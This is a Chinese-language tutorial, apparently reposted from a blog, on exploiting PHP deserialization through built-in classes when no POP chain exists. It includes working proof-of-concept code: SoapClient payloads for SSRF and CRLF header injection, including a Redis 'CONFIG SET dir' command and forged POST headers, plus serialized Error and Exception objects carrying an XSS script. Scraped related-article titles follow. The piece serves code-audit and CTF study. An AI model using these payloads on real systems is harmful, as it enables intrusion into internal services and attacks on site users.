正文

文章围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何?

N1CTF有一个无pop链的反序列化的题目,其中就是找到php内置类来进行反序列化。

基础知识

首先还是来回顾一下序列化中的魔术方法,下面也将以此进行分类来进行研究。

当对象被创建的时候调用:__construct

当对象被销毁的时候调用:__destruct

当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发):__toString

序列化对象之前就调用此方法(其返回需要是一个数组):__sleep

反序列化恢复对象之前就调用此方法:__wakeup 当调用对象中不存在的方法会自动调用此方法:__call

看一下当前php本身内置类有:

$classes = get_declared_classes();

foreach ($classes as $class) {

$methods = get_class_methods($class);

foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } } }

当然有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny来禁止一些类的反序列化,比如序列化DirectoryIterator的时候。

当然这也和PHP版本也有一些关系,寻找的几个类中,发现在php5.3以前都是没有如此的限制。

__call

SoapClient

这个也算是目前被挖掘出来最好用的一个内置类,php5、7都存在此类。

SSRF

$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a();

但是它仅限于http/https协议,用处不是很大。

但是这里http头部还存在crlf漏洞,可以再去drops回顾一下如何通过http来hack redis,Trying to hack Redis via HTTP requests

$poc = "CONFIG SET dir /root/";

$target = "http://example.com:5555/";

$b = new SoapClient(null,array('location' => $target,'uri'=>'hello^^'.$poc.'^^hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa); //Test $c = unserialize($aaa); $c->notexists();

对于如何发送POST的数据包,这里面还有一个坑,就是content-type的设置,当是可以看到上面的数据包,user_agent的头部是在content-type的下面,所以我们可以通过SoapClient来设置user_agent,再使用crlf将content-type给往下挤。

来自wupco师傅的poc:

$target = "http://example.com:5555/";

$post_string = 'data=abc';

$headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa);

__toString

Error

适用于php7版本

XSS

开启报错的情况下:

$a = new Error("");

$b = serialize($a);

echo urlencode($b);

//Test

$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D'); $c = unserialize($t); echo $c;

Exception

适用于php5、7版本

XSS

开启报错的情况下:

$a = new Exception("");

$b = serialize($a);

echo urlencode($b);

//Test

$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D'); echo unserialize($c);

实例化任意类

可调用任意类的时候找__construct的时候一些可用的类:

案例:pornhub某漏洞

可获取目录

DirectoryIterator

XXE

SimpleXMLElement

创建空白文件

SQLite3

know it then do it

转载自:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

php原生类,反序列化之PHP原生类的利用相关推荐

  1. PHP原生类反序列化

    前言: PHP原生类反序列化之前没遇到过,这次BJDCTF恰好碰到了,通过具体的题目来学习一下 利用魔法方法 __toString Error----适用于php7版本----XSS Error类就是 ...

  2. json 反序列化 父子类型_json类序列化与反序列化参考

    usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Web;usingSystem.Runtime.Ser ...

  3. Java基础(28)数据输入输出流、内存操作流、打印流、随机访问流、序列化与反序列化流、Properties类(集合)

    1. 数据输入输出流 1. 数据输入输出流的概述: (1)以Stream结尾的,一般都是字节流 (2)数据输入流(DataInputStream):数据输入流允许应用程序以与机器无关方式从底层输入流中 ...

  4. 反序列化时,java类需要无参构造函数

    反序列化时,java类需要无参构造函数 现象 原因 解决办法 现象   今天在调http接口时,接收到的返回值一直是null,debug后发现系统抛了"No suitable constru ...

  5. 用云原生的思维践行云原生,华为云深耕数字化,一切皆服务

    [中国,深圳,2021年9月23日] 华为全联接2021于9月23日开幕.华为轮值董事长徐直军进行了"以持续创新加快数字化发展"的主题演讲,发布业界首个分布式云原生产品--华为云U ...

  6. 沃特玛采集均衡模块_云原生在京东丨云原生时代下的监控:如何基于云原生进行指标采集?...

    从 Kubernetes 成为容器管理领域的事实标准开始,基于云原生也就是基于 Kubernetes 原生.在云的体系下,基础硬件基本上都被抽象化.模糊化,硬故障需要人为干预的频次在逐渐降低,健康检查 ...

  7. 【云原生】什么是云原生?如何学习云原生?一篇文章带你了解云原生

    云原生,相信这个名词大家并不陌生:云原生在近期可谓是爆火,伴随云计算的滚滚浪潮,云原生(CloudNative)的概念应运而生,云原生很火,火得一塌糊涂.可是现在很多人还是不知道什么是云原生,所以今天 ...

  8. 天天叨叨云原生,你知道云原生是啥么?

    1. 现代应用的需求 早期人们对于互联网的依赖还不是很强烈,数字体验这个词还没有诞生,大家对于数字体验还不是那么敏感,应用程序是否总是可用也没有那么重要.对于互联网产品来说,用户量少,并发量低,数据量 ...

  9. ios 借贷类app,贷款超市类app,如何以最快的时间一次性通过审核,下面一一为你解答

    首先我需要再次强调下我这篇文章的主题,ios 借贷类app,贷款超市类app,如何以最快的时间一次性通过审核.19大之后借贷类被拒的PLA1.2问题已经变成了5.2.1,最近变成了3.2.1(2018 ...

最新文章

  1. 在Chrome中打开网页时出现以下问题 您的连接不是私密连接 攻击者可能会试图从 x.x.x.x 窃取您的信息(例如:密码、通讯内容或信用卡信息)
  2. AlphaFold和RoseTTAFold双剑合璧,成功预测蛋白质复合体结构,北大校友领衔登上Science...
  3. 告别繁琐提升效率,Docker 帮您降低从开发到部署的复杂性
  4. c+和python哪个快-C/C++比python快是什么意思?
  5. Android窗口View层次
  6. java证书不见了_java – 找不到证书链
  7. SQL Server 2008 R2与JDBC连接
  8. 保边滤波之Mean shift filter
  9. linux统计文本每列的最大字符,Linux 文本处理,文本工具,查看,分析,统计文本文件,grep,正则表达式...
  10. 火狐linux 32位,火狐浏览器下载电脑版32位
  11. overleaf怎么输入中文_【Latex | 输入中文 | 小论文】如何用利用在线Latex工具Overleaf编写中文论文...
  12. might和could的区别用法_cancould和maymight的用法有什么区别?
  13. C++的emplace_back函数介绍
  14. Linux命令--nc (测试服务器端口是否打开)
  15. 语音标注工具:Praat
  16. 代数几何:Zariski Closures、不可约簇-素理想
  17. 【VMware vSAN 7.0】超融合基础架构 (HCI)虚拟化集群解决方案
  18. Ural 1268 Little Chu (原根)
  19. 奇兔recovery卡刷教程_奇兔开发者学院课程教学第四讲: Recovery备份提取制作ROM
  20. openlayers 百度地图_近期内推职位集锦:知乎+车好多+三星+数码视讯+百度

热门文章

  1. 按钮点击计数器存入mysql_按钮点击数统计计数器(PHP+MYSQL+JS)
  2. mysql begin operations_MySQL入门(七):More JOIN operations
  3. c语言编程常见问题解答,C语言编程常见问题解答之常用函数的包含文件
  4. Java 修饰符详解:吐血整理,带你从底层语法和开发案例疏通这 11 种常见修饰符
  5. python label标签的作用_label标签的作用是什么?
  6. html频谱跳动效果,HTML5音频可视化频谱跳动代码
  7. 【CVE-2018-12613】phpmyadmin 4.8.1 远程文件包含漏洞复现
  8. 玩转linux文件描述符和重定向,玩转Linux文件描述符和重定向
  9. oracle p l,使用P.A.L制作便携软件 (一) 基本原理 | 么么哒拥有者
  10. ccf认证俄罗斯方块java_CCF认证历年试题 - osc_h3robkrt的个人空间 - OSCHINA - 中文开源技术交流社区...